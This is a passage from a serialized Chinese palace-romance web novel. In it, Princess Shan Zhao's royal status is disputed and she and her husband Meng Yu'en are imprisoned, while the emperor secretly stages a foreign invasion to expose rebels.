“表哥,如果你爱上别人,如果你有别的想法,你可以跟我坦白的。无论我有多喜欢你,我都一定不会挽留你。我知道要走的人始终是留不住的,但你为什么要瞒着我做这些事情。” “你现在让我恶心!无比恶心!” 杨力行本就因为生病苍白的脸色更白了,他不知道,不,其实他知道。但表妹不说,他便一味逃避去想他给表妹带来的伤害。 他安慰自己,自己放弃是有原因的,一切都情有可原,但山照这番话,赤-裸裸的拆开了他伪装的假象。 杨力行甚至开始拷问自己:我什么时候变得如此虚伪的? 他想跟表妹道歉,但嗓子如被山压,连对不起都说不出口。 他没脸再去说这些冠冕堂皇的话,是他先放弃的,他活该。 他看着山照。她比从前更美丽了,皮肤莹白、秀发如缎,就连一双手也被呵护的寸寸娇嫩。 但在杨力行心中,一想起山照,脑海里浮现的容貌还是他们在李家村的时候,那时候他们心心相印,虽不富有,却简单幸福。 “如果,你不是公主多好。” 从未想过这样的话竟然会从表哥口中说出,山照愣了下神,而后满是失望的对他说:“等你病好,就离开公主府吧。” 她不再接纳他。 “我会走的……” 杨力行最后说了这句话,而后跌跌撞撞走了出去,他的身影像干枯的树,机械麻木。 山照那口堵着的气,也随着杨力行的离开散了,他的身影从她的眼前离开,她心里那个装满她幼年亲情、少女情爱的地方只剩一个空洞,扑簌簌落满了雪。 ** 真假公主一事热度将要过去之时,昭明帝一旨诏书,又重燃了朝野上下对此事的讨论热情。 因为那位敲响登闻鼓的女子——被陛下封为公主了。 而山照也接了一封圣旨,却不是什么好消息,父皇没有任何理由就削减了她的封邑,三千户变三百户。 承恩公也收回了给予她的绝大部分嫁妆,只留下了勉强够她维持生活的一点。 看似只是钱少了,但其中的信号却对她非常不利。本来民间就传她们两个年龄相仿,或许是承恩公认错了人,现在一个被封公主,一个削减食邑,怎么看都像是承认了这流言。 朝野上下议论纷纷,泰和公主府也是人心浮动,山照倒是安之若素,因为承恩公在这之前传了密信一封叫她安心养胎,这些都是假动作,叫她不必去管。 山照自然是相信舅舅的,但她也很疑惑,只是为了一个赌约,应该没有必要闹这么大动静吧?她觉得舅舅做事没有那么简单,而且父皇也跟着一起演戏,怎么看都像是别有目的。 她试着去猜想为什么,但毫无头绪,也不为难自己。反正搞这些朝堂阴谋,她是没有这个天赋了,安心躺着等结果就好。 山照摸着肚子,其实她这会月份还很小,一点也感觉不到孩子的存在。但她自有了这个孩子,确实安然许多,因为她终于要有一个亲密无间的亲人了。 有紧密的血脉联系、能看着他长大、一辈子也不会分离的亲人。 她刚知道这个消息的时候确实也有些纠结,但要还是不要,对她来说答案是很确定的,她当然要。所以,孩子的父亲是谁,倒不那么重要了。 因而哪怕府内府外都是暗流涌动,山照的情绪却很平静很稳定。 宜春宜夏几人却已经忧心忡忡了许久,她们是公主的贴身内侍,早已经跟主子荣辱与共了。但府中的其他下人可不一样,不被重用有时候也是一种保护,至少风声不太对劲的时候她们还可以另投明主。 这不,粗使洒扫那边已经走了几人,其余人也纷纷请托宫内的熟人,迫切想要逃离泰和公主府,害怕被清算的时候被连累。 山照呢,只要想走的就都放了。 她想的很简单,风雨飘摇时还能留下来的,要么是心思单纯之人要么是忠心耿耿之人,以后她可以试着在这些人身上投射些感情,大约是比那些没有经受住考验的人靠谱的多。 山照骨子里还是没有习惯公主的身份,她想要平等的朋友,但已经不可能得到了,但很多时候,她好想有人能听听自己的真心话,能听自己的烦恼、痛苦、喜悦、困扰。 可她被灵曲搞怕了,她怕又养出一个心大的,这次其实也算一个好机会吧。 泰和公主府这些日子格外安静,落在旁人眼中,便似乎是默认了什么结果,这不免也让那些被山照曾经施恩过的人担心。 清晨,公主府的门环被一个陌生的年轻女人叩响。 守门婢子看向这人,眼神充满警惕,她先上下打量了来人,又谨慎地询问:“你是何人?前来所为何事?” 来人穿着虽不富贵却也整洁,眼神不偏不倚落在婢女脸上:“小女曾受公主之恩,特来拜访公主。”怕守门人传话不清楚,她特地解释一番,又塞去两钱银子:“小女曾有个诨名叫‘妙娘子’,公主应是有些印象,望娘子能够通报一番。” 她语气很是客气,婢子也收钱办事,便立即传给了宜春。 宜春倒是记得有这么回事,公主之前去看女子相扑确实压了一个什么‘妙娘子’,最后这‘妙娘子’惜败,殿下还命仆从去找那家主人家赎她自由。 因而便将这消息原模原样的传给了公主。 山照听了这事,回忆了一番,倒也还记得这个人。 她有些惊喜但也疑惑:“她能有什么事情要见我呢?” 宜春怕寒风太凉,关上半扇窗,转身问道:“殿下要见吗?” 山照点点头:“反正也没什么事情做,正巧可以问她一些外面的事情。我已经好久没有出过门了……” 妙娘子进门便给山照磕头见礼,山照连忙叫起,她是很少叫人跪的,倒觉得有些意外。 “不必如此多礼!” 妙娘子却正正经经行完大礼,而后才对着山照解释:“小女本早就该上门谢过公主放良之恩,此刻已经是来晚了。” 山照并不把这样的事情放在心上,本来只是说句话的事情,她没指望别人感恩。 “那你今日来,只是为了谢谢我?” 妙娘子想到外面的流言蜚语,眼神担忧:“这些日子外面……有些流言兴起,小女心里担忧。正巧遇到有人请托,小女便想着求见一番,若能见到殿下自然最好。” “请托?” “是白举人他们。我等听见流言四溢都十分担心殿下的处境,白举人他们还特地为殿下写了一首诗,叫上京人人皆知殿下的美德,只愿会有些许的作用。” 山照抬眸,这下是真意外了。 妙娘子以为公主贵人多忘事,连忙补充:“白举人他们是殿下之前资助的学子,这些日子一直在为殿下的事情奔走。我们力虽薄,却也不能无动于衷。” “我记得他们。” 山照本来还算平静,但一开口就有些鼻酸,她是真的没有想到,这些人竟然敢在这样的事态下为她说话。要知道若她真是假公主,遇上心眼小的君主,他们是随时可能被迁怒的。 明明是一群自身难保之人…… “妙娘子,无论如何谢谢你来看我。也谢谢举子们。” 山照心情很复杂,她对他们的施恩只不过是手缝里漏出的一点,但他们却愿意冒着巨大的风险只为了她能好受一点。她对他们的好还不如对灵曲的十分之一,但……她确实更应该谢谢他们,至少证明她的付出不是完全没人看见。 在她被亲近之人背叛的时候,发现其实她的身后还有人在默默支持着她,这是种很特别的感觉。 妙娘子从怀里一掏,拿出白举人他们写的诗捧在手心:“殿下若是有兴趣,可堪一阅。” 山照递了个眼色给随侍婢女。 “好了,见也见过了,东西我也收了。妙娘子,你可以回去了。” 山照不确定外面的事情将要如何发展,舅舅和父皇打算做些什么,但也许会有一些不好的发展。所以她的这一份心,她虽然受用,却也不希望真连累他们, 不管外面风浪多高,她在公主府这个安静的角落,只想关起门过自己的日子。 妙娘子本该告辞,但她的脸上浮现出一点挣扎之色,最后还是没有起身离去,反而是站着又行了个揖礼:“小女冒昧了,但还是想问公主,殿下知道外界的流言吗?” 山照眨眨眼,她自然知道一些,但也许久没有关注了:“外面是怎么说的?” “说公主是承恩公认错的假公主,陛下现在是不愿意承认发生了这么大的错漏,所以故意忽略。但最近……”妙娘子声音开始发紧,语气也比之前严肃许多:“陛下免了驸马的职务。” “免职?”山照倒真的不知道这事情。驸马这些日子早出晚归的,她只以为他是不甘心,到处打探消息呢,没想到竟然是被免职了! 第62章 第 62 章 突发意外 婢女们这些日子除了采买东西, 也都没出过门,便是有些知道的,既然没说出口自有考量, 因而众人闻言都是一脸惊讶。 见公主不知道,妙娘子心里更是担忧。她虽然不懂朝堂之事, 但若是公主不再是公主, 等待她的命运恐怕不会太美好。而他们这些平民纵使有心, 也实在无力。 听见这么坏的消息, 山照却不见担忧,还隐约勾了勾嘴角。 她想结果应该快分明了, 驸马娶她一是为了血脉, 二是为了前程,如今两个都失去了,他应该也快做些什么动作好离开她了吧…… 但她知道这事情除了她自己,谁也不能说, 因而便只想说些什么宽慰一下妙娘子。 “能有人愿意在这种时候来见一见我,我已经很高兴了。至于其余的事情,你们实在不必担忧,父皇……陛下他,是圣明之君。” 妙娘子听到公主如此单纯的话语,看着山照的眼神更是疼惜,却到底无能为力,只是犹豫着:“殿下……若是有什么小女能帮上忙的, 请婢女送信到福兴坊宜兰阁即可, 那是小女的脂粉铺。殿下再造之恩,小女铭感五内,只是不知道能为殿下做些什么。” 山照点头笑笑, 表示自己知道了。她还是很欢喜自己认识的人有了更好的生活,但有许多事情不好对旁人说,便只让婢女们给她包了好些点心,再好好送了出去。 妙娘子走后,山照坐着沉思,她实在不知道驸马在想什么,竟然这么久没有露出一点异常。按理说被免职,他应该会很生气才对,就算并不迁怒她,总该有些不满的情绪,竟都没有。 他虽然心思沉些,但也并不是什么好性子的人,不知为何忍耐了下来,难道…… 随后,她看向自己的肚子,心想:难道是因为这个孩子?可,他就这么确定孩子是他的吗?确定到她都出言讽刺过了都不怀疑? 她隐约觉得有点不对劲,但又没有头绪。最后只能归结于男人总是会对这样的事情有着盲目自信。 “宜春,驸马今日有口信吗?” 孟浴恩从成婚开始一直是跟山照分开住的,当然主要原因是山照不愿意跟他过于亲密,但他自从山照怀孕开始,每日都会叫小厮传口信回来,无非是些回不回府、多久回来的事情。 “一个时辰之前收到口信,驸马今日下值就回府。” 宜春心里也有些嘀咕,都被免职了,还上的什么值呢?难道是害怕殿下担心? 山照便想,就借这个机会搞个‘鸿门宴’试试他的态度吧。 “吩咐厨房弄些驸马爱吃的好菜。……再备点好酒。” ** 许是怕被山照发现异常,驸马回府的时间还比正常下值的时候晚一些,进门的时候,已经到了黄昏时刻。 府内有些昏暗,只有公主的住所依旧点灯燃烛,一片通明。 孟浴恩有几日没有回府了,见状皱了皱眉,他没想到承恩公会做的这么绝,竟还索要陪嫁,如今叫公主窘迫到连这点灯钱都省下来了。 他刚想着要支些银钱来贴补,又看见了膳桌上琳琅满目的菜肴。 他心里不知怎么,忽然有些仿佛春风拂面的温和。府中如此拮据,她,竟操持了这么一桌晚宴待他。这是不是说明,在她心里,他渐渐有了些分量? 却没想到,坐下第一句,山照冷着脸开口,便把他这种猜想打破了。 “驸马,你为何不告诉我你被免职了?” “是何人碎嘴?”孟浴恩看向婢女的眼神瞬间锐利,他本想着能拖一时是一时,毕竟山照怀着孕不宜多思。 “你不必管这些,你回答我的问题。”山照自然不能让他躲过去,只要不给他太多思考的时间,他必定会有失言。 孟浴恩感觉到今日的气氛不同以往,婢女们的脸色都有些深沉,便只四平八稳做些不疼不痒的回答。 “已有四五日了。殿下,不必担忧此事。历朝驸马不能出仕的是多数,臣不过是回到了自己该回的位置而已。” 山照却不放过他,直接抛出难题:“驸马,你说如果我真不是公主怎么办?” 山照取信于他,也说着七分真三分假的话:“我虽然是捡来的,但爹娘那个信物我是从来没见过的,而且我跟父皇长得也不相似,若说是跟先皇后像,我却跟舅舅也不算相似……” 她像模像样长叹一口气,眉宇凝着忧愁。 驸马看着公主,却不知道自己该用什么态度来对待这件事。 父亲已经数次联络他,叫他早日决断,他每每说服自己,如今跟公主分割开正是时候,但回府之时却又说不出口了。 他再冷情,也不至于能对怀着自己孩子的妻子说出绝情的话。再说,他也并不想跟公主分开,只是情形不好他也不得已。 如今他心里也是左右摇摆,他本能觉得承恩公对公主从前的爱护不似假的,可如今这般翻脸不认人也不似作假。最主要的是,山照是不是公主完全不影响朝堂,被影响的也只有他们孟家,可真假公主一事,却不是那些政敌能做得手脚的,陛下和承恩公有必要作假来骗他们吗? “殿下安心,一切有臣。” 山照放下筷子,力度有些重,碗筷碰撞发出刺耳的一声。 “你什么都瞒着我,叫我怎么安心?” 山照的不满溢于言表,一点不见平日的笑模样。 “臣不说,是怕殿下多思。殿下,朝堂的事情本也不需要您担忧,殿下只需在府内安心养胎便是。” “这是我的事情,你说不需要我担心?若我真的不是,父皇治我欺君之罪怎么办?” 山照直接把话挑破,眼睛直直看向驸马,那眼神专注到似乎要望进他的心里去。 驸马想过若陛下真的治罪,他要怎么保住公主,可他除了引导那几个被资助的学子传唱公主的贤明,竟也做不了太多。 寻常的朝臣是不敢在这种皇家密事上多嘴的,能左右皇帝意愿的承恩公却反常的拒绝见他,他甚至想通过后宫劝说陛下,但刚开始接触,就被父亲发现了,还勒令他不许动用家族势力。 孟浴恩也是很多年没有这种无奈的感受了,他确实努力过,也确实等于失败了。但他并不是毫无办法,但那就需要他付出太多了。多到,需要他付出极大的、无法回转的代价,此刻他犹豫的便是这事。 他想,他不能为了公主高兴就贸贸然承诺一些他根本做不到的事情,他得独自一人再冷静思考一下。 “殿下,臣会想办法的……”这样的承诺显然是太苍白,驸马显得有些食不下咽、心不在焉,只是草草说了几句,便借口说还有事情匆匆告辞了。 山照自然表现得很生气,甚至装作不小心打翻了碗碟,对离开的驸马大喊着:“无能!无用!” 直到婢女们收拾好桌面,使尽浑身解数逗她开心,她才收了收劲,不再表演生气。 她想,应该很快就能得到驸马要跟她和离的消息了。 只是不知为何,想着这个结果,她似乎也不如预想中的高兴。也是,毕竟他们有了一个孩子,而他还是准备放弃她们,这无论如何都会让人伤心的吧。 ** 元旦佳节,朝堂上下、后宫诸殿却无一丝喜庆,甚至连确定好的大朝会都被临时取消了。取消的原因非常不好,北狄突然来犯,边境守将渎职,当日竟然同几个郎将一同大醉,导致边军无人指挥,叫北狄一口气连下两城。 这对于一个建国刚两年的朝廷来说,是个特别特别坏的消息。 最坏的是,昭明帝旧伤复发已经罢朝三日了,不知如今身体如何。 江家倒是奋勇当先,要领兵去对抗北狄,但昭明帝并不敢在这个风雨飘摇的时候放权给皇后一家,要知道他们虽然没有皇子,但也可以扶持幼主。 思来想去,他最终选择妥协求和。割地、赔款、和亲,只求能够再有几年的喘息时间。 北狄同意了。 割地、赔款都好说,和亲的人选却不太好定下,其中最适龄的是皇后嫡出的二公主,但江皇后只有这么一个女儿自然是不肯的。再往下的孩子年纪又太小了些,这不,众臣的视线又回到了刚认回来的公主身上。 这事情本跟山照没什么关系,她是已出嫁的妇人,无论如何和亲也轮不到她,但却偏偏又跟她有了关系。 那位新公主,不知什么原因竟是恨上了她似的,要求昭明帝褫夺她的封号、治她的罪名,她才愿意安心出嫁,不然宁死不从。 山照不知道昭明帝他们葫芦里卖的什么药,因此官差上门来抓人,她虽未曾反抗,但心里其实很是疑惑的。 到了监牢,那房间的环境之差,让她犯难。那房间有些年头了,木头腐朽,室内又阴暗无光,一看就是潮气十足。 山照是过过苦日子的人,一见就知道这房间里有跳蚤、老鼠,若她平常进来便也罢了,但她怀着孩子哪里敢赌,当即面色就变了。 “大人,便是父皇要治我的罪,可我现在还没收到被废的诏书,住这样的房间是不是有些过分?” 那牢头不过是个芝麻小官,自然不敢刻意为难她,可这命令正出于承恩公之口,他也万万得罪不起这样的人物。只能昧着那丝动容,解释道:“殿下,这监牢只有这种条件,只能委屈一下了。” 山照自然不信,可阎王好过、小鬼难缠,她此刻并不敢得罪他们,只能软了口气:“大人,那便麻烦给我送一床厚实些的被褥好吗?”又取了头上的金钗给他。 牢头见有利可图,自然没有什么不答应的,再说承恩公只说安排公主住普通的房间,也没非要他们如何磋磨。便是叫他们磋磨,他们也是不敢的,到时候出了事情,他们哪个的头是铁做的呢? 山照独自站在墙角,她觉得地下脏污哪怕腿已经发酸了也不敢蹲下去,越等心里越慌乱,她不知道突然发生了什么,这事情跟舅舅之前说的不一样。 他只跟她说,有什么事情都波及不到她,可现在分明不是这样的。 她担忧着,却也没有办法,她的身份地位本就是空中楼阁,只要昭明帝不承认她,顷刻间便能将所有全部收回去,她一直担忧着这样的时刻,现在这样的假想也成真了。 山照并不害怕被褫夺身份,便是贬为平民她也觉得无所谓,反正她本就出身平凡,但她现在不得不为孩子多想一想。 山照默默抱紧了自己的双臂,她穿着棉衣大氅,并没被牢头这些人收刮走,但在监牢这样四面漏风的地方还是觉得冷。 就在她心里充满各种靠谱不靠谱的猜想的时候,她听见不远处传来人声、锁链抽-动声,她意识到是有人来了。 黑亮的眼睛紧盯着来人,直到一点烛火辉光由远及近,她看清了那位玉面郎君的面目——是驸马。 孟浴恩一见公主竟然住在这种下等房间里,立刻眼含怒意剜了牢头一眼:“你们就把公主安排在这种地方?” 牢头虽是受了承恩公的指令,却也怕得罪丞相,便悄声道:“这是国公爷的意思。” 孟浴恩更觉不可理喻:承恩公的心眼竟然小道如此地步,真不是个男人。 山照又没有骗他,是他自己见了信物,就一厢情愿、牵强附会非要带回她的。要回嫁妆也就罢了,竟还舍得为难一个有孕的妇人。 山照这会冷到面色有些发白,看到驸马前来,一开口,便有些不知道是冷的还是委屈的颤声:“驸马……” 未尽的言语通通汇成一道含泪的视线,实在可怜极了,孟浴恩的心狠狠一颤,顿时觉得自己心里也酸得紧。 “殿下别害怕,我马上入宫去!这样对待您,实在不公!” 又对衙役说:“殿下已经身怀六甲,这样的房间不适合公主,还不赶快换个明亮暖和的。” 牢头还想说什么,驸马却不给他这样的机会,只冷冷道:“我家三代单传,就指望着公主,若是公主出了什么事情……有些事情就许是不美了。” 这话一说,牢头又怎敢反驳,这些达官贵人们的事情,他们这些是遭受池鱼之殃的。 驸马匆匆来又匆匆去,山照很快就换了一个房间,只是她的心态再也不复平静,她还是不敢相信舅舅会下那样的令。 难道她真不是公主?但舅舅没道理跟她做这样的戏啊?可若是做戏,怎么会对她这么狠心?她陷入纠结,也开始对现实不敢肯定了。 可她心里又有个小小的声音在说:驸马居然没有放弃她…… 这感觉还真奇怪啊!—— 作者有话说:我真的真的在努力了[墨镜] 第63章 第 63 章 百口莫辩 孟浴恩本来就是听到消息, 害怕公主受到惊吓来看望的,看到公主的处境如此艰难,他心里说不出的复杂, 有愤怒也有无奈。 他跟父亲是冷静研判过形势,他其实也确定了, 恐怕还是要放弃争取公主的地位, 但这跟要看着她受磋磨简直是天差地别。他想得最差的结果也是从此将她养在府内, 不再露于人前也就罢了。 进宫面圣已经脱离了他跟父亲的预设, 但他实在无法忍受怀着孕的妻子受到这种对待,他抱着一点其实不该存在于他脑海中的幻想——万一陛下的本意不是这样呢? 风尘仆仆进宫后, 直接被殿前太监拦在勤政殿外面, 他们语气依旧客气又不似从前恭敬:“孟大人,陛下如今卧床不起,暂不见人。” 孟浴恩立刻察觉到太监竟连驸马也不叫他了,这些太监虽然没有什么权力, 但宫中有什么动向他们都一清二楚,这不是什么好消息。 他跟太监使了个眼色,两人往旁边走了几步,他取下腰间挂着的荷包,里面有些小额的银票专门是用来打赏人的。 “不知公公可听闻臣内子的事没有?如今内子身在监牢,不知……不知是否是陛下的意思……” 太监眼睛眯起假笑:“这奴才可不知道了,陛下龙体不康,这几天都在养病, 似乎没见过人呢!” 孟浴恩心里起了疑心, 难道是承恩公假传圣旨?可以他的身份应当不至于。不是说承恩公不敢假传圣旨,是为了惩治山照没有必要这样做,杀鸡焉用牛刀。 混乱思绪脑中转了几圈, 终是准备放弃面圣,打算转路去承恩公府再问问。 却不料这会勤政殿的门开了,大太监福荣出来:“孟大人,请进吧。陛下召见。” 孟浴恩此刻连皱眉都不敢,深深吸气咬紧牙关,以最谨慎的姿态走了进去。 进了殿中,却也没有看见陛下面容,一道明黄的帘幕隔绝了全部的视线。 “陛下不愿如今面貌见人,只能隔帘召见您。” 孟浴恩低头,如同昭明帝正在面前,端端正正行了礼。 “请起。” 昭明帝的声音有些虚弱,隔着帘幕竟然有种熟悉又陌生的感觉。 “孟探花前来所为何事?” “陛下……”孟浴恩跪了下来:“臣想为内子求一个恩典。” 既然陛下不承认山照的公主身份,他便也不叫公主,免得触了霉头。 “哦?什么样的恩典呢?” 昭明帝的语气听起来淡淡的,似乎没什么情绪,只是有些因病导致的气虚。 孟浴恩很是小心的描绘如今山照的情形,将前因后果说清楚之后,便求情:“内子如今正身怀有孕,监牢环境恶劣,臣十分担心。愿陛下等内子诞下孩儿,再……行惩治。” 他不敢说山照无罪,因为昭明帝听了前面半段未发一言,那就说明他是知情的。所以若皇帝觉得她无罪便不会下这样的令了,但若能拖到十月怀胎之后,昭明帝应该就忘记这件事情了,届时再想办法吧。 帘幕内久久没有传出下一句,孟浴恩的心随着这异常的沉默吊得高高的,开始预感到不妙。 “你是觉得朕处置的不公?” 此话一出,孟浴恩便立即磕头跪地:“臣不敢!” 昭明帝的声音染上怒意:“此女犯了欺君之罪,朕想着与你孟家无关便也没有惩治你们,没想到你们竟然还怀了包庇的心思。” 孟浴恩没想到昭明帝竟然真认定山照是欺君,他开口想解释,却没得到这样的机会,被传唤来的御前侍卫押送着进入监牢,他倒是也不慌张,因为笃定父亲会来救他,他只是开始担忧山照,不知道父亲会不会愿意救救她? ** 就在孟浴恩进宫的同时,远在千里之遥的云良城一场极为机密的谈话正在进行。 交谈双方是昭明帝和北狄王,两人皆着便装进行商谈。 北狄王有些上了年纪,胡子已然花白了一半,但那看似疲惫的双眼时不时随着商谈推进闪过鹰一般的锐利,便知不是什么好相与的角色。 “中原皇帝,我已经如约佯攻下了两座城池,你的承诺什么时候兑现?” “北狄王,不要着急。我们之前就密信说过,我在等有人坐不住,内乱一平一定按照承诺的那般给你十万黄金,够你北狄吃喝几十年了!” “中原皇帝,等来等去,万一你不给钱怎么办?” “北狄王,我以两座城池做定金还不够有诚意吗?” 北狄王忽而大笑起来,笑容很有些狡黠:“你就不怕我吃下就不吐-出来了?或者……胃口大了?” 他在试探。 昭明帝自然知道,越是这种时候就越是不能露怯。他虽然比北狄王年轻许多,但毕竟也是经过战火历练的,一身气势不同寻常。 他眼瞳深深,紧盯着北狄王:“你可以试试。此番找你合作是想共赢,但若是北狄毁约,我必以倾国之力迎头痛击。上次胜负不过是三年前的事情,您不会忘记了吧?” 北狄王想起三年前以为中原大乱可以浑水摸鱼却被他麾下将领打退的事情,尴尬地摸了摸鼻子:“开个玩笑而已,我们草原上的汉子是最讲诚信了。若是你们不毁约,我们也必定信守承诺。” 两人互相看了又看,虽不知心里都信了对方说辞没有,但最终结果是握手定约,相安无事。 昭明帝李释宁为什么出现在这里,这可就要从之前发生的事情说起了。 那会新朝刚立,武官们需要上交兵权,但边防、□□始终是需要兵力支撑的,皇帝本人虽然是武将,但做了皇帝必定是没有精力掌管军事了,而且也没有成年的儿子接手军队,便只能将原来的旧军交给信任的将领代持。 但这会昭明帝才发现一个致命的问题,他当初为了获得那些自带兵力之人的支持,纳了他们的姐妹女儿,如今后宫有子的妃嫔母家竟都有着这些人的背影。而他早就对这些女人和她们的母族失去信任了。 选谁都有问题,但暂时他们的孩子还没长大,或者说,他们就算想来摘果子,也得等个好时机吧?但凡谋反,都需要师出有名的。 若他身体还算康健,自然可以徐徐图之,慢慢分化掌控不是不行的事情。 但他的寿命……不到三年了。 他不愿意把自己用命打下来的天下给那些早就背叛过自己的人,六年前他就差点死在那些人手里…… 他可不愿意历史重演,于是就跟承恩公谋划了这次的外敌入侵事件。但凡那些家伙有异心,一定会趁着大部分军力派向北狄的时候发难的。 就算他们能坐得住……他也会推波助澜,叫他们以为胜利就在眼前,他不相信吃惯了血肉的豺狼能忍住偷-腥。 至于山照经历的那一桩事情,也是计划内的。勤政殿里的替身,应该按照他的意思开始落实了吧。 这样也好,叫她躲出众人视线外,才能在动荡不安的时候平平安安生产。 ** 牢头老李没想到驸马刚才放了狠话离去,这才两个时辰便自己入了狱,不由得觉得有些滑稽。在监牢呆久了便知道这些官宦之家素来如此,没出事前个个头仰到天上去,一出事便跟霜打了的茄子一般蔫巴。 孟浴恩倒还是不卑不亢的,只当之前的失去没有发生过:“大人,能将我跟公主关在一间吗?” 牢头先是扫了他两眼,但要说故意为难么?那不至于,驸马离了这个身份还有个丞相爹呢,一伸手就能把他捏死。 “男犯女犯自然是不能关在一起的。” 孟浴恩解下腰间玉佩。 牢头便转了话头:“念在你们夫妻情深,住个对间也不是不行。” 于是孟浴恩便锒铛入狱跟山照做了个邻居,待牢头一走,两人便面面相觑。 山照睁大双眼,不可置信,看了看周围,便压低声音问他。 “你……你怎么也进来了?” 孟浴恩摇摇头,并不打算多言。 “殿下只管好好休息吧。” 山照盯着他,嘴角挂着不悦的弧度。 她很讨厌他们这个态度,什么事情也不给她说清楚,舅舅是,驸马也是。难不成他们就这么笃定自己一定听不懂或者是会坏事? 但随即又想到自己身上这事,情绪低落。 驸马都一起进来了,还能有什么意思?多半就是把她认错了。 只是,好委屈啊,她什么都不知道,是舅舅一股脑把她带到上京的,那些锦衣玉食也不是她要求的,就连婚姻,还不是他们逼着她的。 她有什么错啊?他们认错人了,后果却要她来承担吗? 越想越委屈,山照坐在单薄的床榻边悄悄抹泪。 “殿下别哭,父亲收到消息会来救我们的。” 孟浴恩想着她有孕在身,本不想跟她多说内情,反倒让她担忧。他在家时,父亲也是这般对母亲报喜不报忧的,他只不过是照着葫芦画瓢。 “丞相来就能把我们救出去吗? “当然。” 山照停了,看着驸马,等着他的下文。 他被罢官之后,便不再着往日那袭绯-红官袍,今日不过穿了一身宝蓝菖蒲纹锦缎棉袍,不认识他的人估计只会把他当作家境优渥的富家公子。 当然,是长得很漂亮的公子。 山照印象中他看人的眼神,总是有些冷冷的,像高山上终年不化的冰晶。哪怕是对着她笑,那笑意也是浅薄到一瞬即逝。 但这会她仔细看来,又感觉从前的印象似乎是种错觉,不知何时开始,他看着自己的眼神有了温度。 “驸马……”山照忽然想确定一件事情。 对面年轻公子抬头看她。 “你就这么确定这个孩子是……” 山照没有把话说的太明白,但她相信驸马一定听懂了。 孟浴恩眉都没抬,点头承认了。 “凭什么?” “我给杨力行下了绝嗣药。所以,只会是我的。” 山照愤怒了,他的语气怎么可以这么平淡,好像说出口的不过是件不足挂齿的寻常琐事。他难道就不会为自己所做的事情感到一点点抱歉吗? “你怎么能这样做?”而后她想起表哥的态度突然发生了变化,她忽然明白了一切:“你告诉了表哥!” 他下了绝嗣药给表哥,又告诉了表哥,等于磨灭了表哥所有的希望。山照理解了,为什么表哥眼里还有对她的喜欢,却毅然决然要离开她,他不能接受自己一辈子要做不见光的情-人。 “为什么现在愿意告诉我原因了?因为我失势了,你觉得无所谓了是吗?” 山照本来以为自己对驸马没有太多的期待,所以便不会受伤。但她没有认知到,驸马他们这种人的想法,和她之间,有天壤之别。 “你怎么能无-耻到这种程度……”山照本来是不愿意厌恶腹中的孩子的,但她想到假如这孩子像极了驸马怎么办?她感到浑身一阵恶寒,忍不住打了个颤。 孟浴恩注意到了山照的轻颤,开口:“山照,觉得寒冷便坐到床榻上去吧,如今也顾不得体面的事情了。” 他不再假装恭敬称呼山照为公主。 而后解释道:“其实那日之后,你问我,我便会说的。这跟现在的情形无关。” “山照……你不是总说不够了解我吗?其实,我并不抗拒你知道,但同时我也知道你是无法接受的。所以,并非是不能告诉你,而是告诉你也无益。” “你既然知道我会不喜欢,为什么要做这些事情?” 孟浴恩为她的天真笑了。 “山照,若做君子,哪里轮得到我上桌吃饭呢?若我不争不抢,你现在怀的会是我的孩子吗?” 山照:…… “你可以娶其他人啊,何必非要强求我!” “但只有你是最正确的选择。”孟浴恩理直气壮。 山照无奈扶额,心想:还是不该跟他说这么多,完全无法沟通。 即便是到了这个地步,孟浴恩也不存在对山照的轻视之心,他知道真实的自己不受山照喜欢,但他也做不到天衣无缝的伪装,而且做君子的时候,她对他的关注还不如现在多呢。既然选了,他就不会后悔,但他还是希望山照能够心甘情愿。 “山照,我们已经有了孩子。其实,接受我,并不是那么不可理喻的选项。” “是,我用了些手段才和你在一起。但你跟杨力行本来就不适合,你没有发现,他完全不能帮到你吗?可我是能的。” 山照闭了闭眼,她现在如何能不知道她跟表哥其实早就面和心不和了,只是当事者迷。 “也许我跟表哥确实不适合,可也不是你介入的理由。” “我只是加速了这个过程,至少你跟我之间的事情,我从来没有强逼过你。”那张可以说是完美无瑕的脸上露出意味深长的笑:“你每次看我的时候,我都注意到了。” “你不能自己做了过界的事情之后,还佯装无辜。”孟浴恩知道自己在偷换概念,但山照不可能解释的清楚她为什么看自己,也就无法在这点上辩驳自己。 果不其然,山照张口想要反驳,但紧接着又皱眉,似乎是找不到合适的语言形容自己的感觉。 “是,有时候我是悄悄看了你。但那种看,跟看山看水看画是一样的,我不是那个意思。” “但我不是山不是水不是那些没有感情的死物啊,况且……你看的不止是我脸,你说,我怎么能不多想?” “殿下。”他忽然抬眸:“需要臣列举,您看了哪些地方吗?” 山照…… 事已至此,百口莫辩。《 》 第 64 章 终幕序幕 第64章 第 64 章 终幕序幕 翌日, 山照跟孟浴恩被打包送回了泰和公主府,但同时也没获得自由,一整队的兵士将公主府团团围住。 山照没懂这是什么意思, 问了领头之人,但他们都摇头不语。 孟浴恩似乎是发现了什么时候, 拉住她的手, 轻轻捏了捏, 山照回头看他, 他便轻声附耳说:“先回府。” 热气打在耳尖,有些痒, 山照躲了一下, 又抬眸确定他的意思,最终还是安静回了府中。 他们一进府门,便听见大门关上一声闷响,又有铁链栓门的声响, 这是将他们禁足了,却也不知道禁了多久。 婢女们连忙迎上前,山照瞅了几眼,又环视四周,很快就发现了什么不对。 “怎么就剩你们几个了?” 是的,偌大的公主府,只剩下宜春宜夏这八个宜字头的贴身婢女,平日里数量更多的洒扫粗使小丫鬟等一个都不见。 宜春先扶住山照:“殿下先进屋, 奴婢们再慢慢跟您说。” 婢女们其实也摸不清楚现在是什么状况, 但若说完全放弃公主肯定不是,不见还留了座府邸和几个丫鬟嘛,甚至……宜春几个悄悄打量了下驸马, 实在不懂把驸马一起关进来是个什么想法。但这也能说明,上头自有考量,情况还没到最差的时候。 进了东殿,宜琴端来一直在小茶炉上热着的茶水, 山照接到热茶的那一刻起,才终于有了回家的感觉,她忽然感觉到浑身上下的疲惫一下全涌了出来,让她只想睡觉。 虽然只是在外睡了一-夜,但她却是又担忧又害怕又不习惯,只是她多少学了些养气功夫,在外极少显露出颓态。 “是有人传旨了?” 山照喝两口茶,还在顺气,就听旁边的孟浴恩开口了。 宜春看了看山照,才开口:“是御前的人。” “说陛下可怜公主有孕便先不施惩罚,只是也不能享受原先的优待,便撤走了大半的奴仆。说是等公主生产……” 说到此处,她特特留意着山照的表情,见她不似难过才继续往下说:“等产后,才裁定如何惩罚。” “所以如今府中的情形究竟如何?炭火和粮食还够多久?” 